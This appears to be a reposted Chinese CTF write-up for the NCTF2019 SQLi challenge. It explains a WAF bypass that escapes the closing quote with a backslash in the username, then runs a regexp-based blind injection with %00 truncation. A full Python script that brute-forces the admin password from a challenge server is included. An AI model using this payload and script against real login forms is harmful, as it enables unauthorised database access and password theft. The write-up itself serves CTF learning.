[NCTF2019]SQLi


知識點

基於regexp的盲注

審題


很簡潔 又是個sql注入題 而且題目把sql語句已經放在了題目下面 甚至和注入類型都告訴你是字符型了 我已經能想到這道題的waf會有多喪心病狂 fuzz一下

解題思路

嚯 這過濾 基本的手工 盲注全部都不行 繼續審題 嘗試着掙扎了一會沒啥進展 瞟了一眼別人的wp 竟然把hint藏在robots.txt里面

題目很明確的告訴了我們過濾的字段以及我們的目標 只要找到登錄密碼就能拿到flag 並且賬號是admin
這題用到的是regexp進行的盲注(因為只有他沒被過濾 這邊貼上regexp的用法 SQL_REGEXP 很明顯 regexp是sql里的正則匹配表達式 其實思路和bool盲注一樣 一位一位的爆破 只不過bool盲注是以位為單位 而regexp是以字符串為單位 具體可以參考剛剛的鏈接和[GYCTF2020]Ezsqli我寫的這篇隨筆(騙騙訪問量 兩道題解題思路其實是一樣的 只不過函數不一樣

窮途末路

雖然知道要爆破的用戶名是admin 但是填admin的話會被彈出hacker! 並且username過濾的太死了 單引號 注釋符 這的那的都給過濾死了 又是字符型 沒辦法閉合引號 passwd那一欄也是 令人絕望的過濾 唯一的思路就是猜測存儲用戶名密碼的信息在一張表里並且字段名就是admin和passwd(猜的

柳暗花明

想起了之前再寫反序列化的題目的時候 那些令人討厭的單引號都用""來轉義 靈光一現 如果說我在username一欄輸入"" 並且在passwd輸入||(手動內斂注釋passwd(手動內斂注釋regexp(手動內斂注釋"^a";%00的話 那么sql查詢語句就會變成

select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'

這可有大用處 這使我們的' and passwd=變成了我們提交的用戶名 而密碼||(手動內斂注釋passwd(手動內斂注釋regexp(手動內斂注釋"^a";%00'變成了數字型注入 也就是沒有單引號 而;%00在url中也是注釋的意思(或者說截斷 也就是把最后的單引號也給注釋了 起飛 而passwd就是我們要爆破的字段名 因為我們查詢的是passwd 推測和username在一張表 就不用再繁瑣的注入了 下面實現腳本全自動注入(gtmd markdown

EXP

import requests
from urllib import parse
import string
url = 'http://1355ec4d-dba0-44bc-895a-c4b14c1b44b5.node3.buuoj.cn/'
num = 0 
result = ''
string= string.ascii_lowercase + string.digits + '_'//密碼由小寫字母 數字 下划線組成(實驗證明
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",//"\"轉義"\"
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

其中可能會有讀者直接在登錄框里面敲%00 那樣會導致%00被轉義而失去作用 在python腳本里面 我們用parse.unquote('%00')表示不進行轉義的%00 這樣就能爆出密碼 從而拿到flag

EOF


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM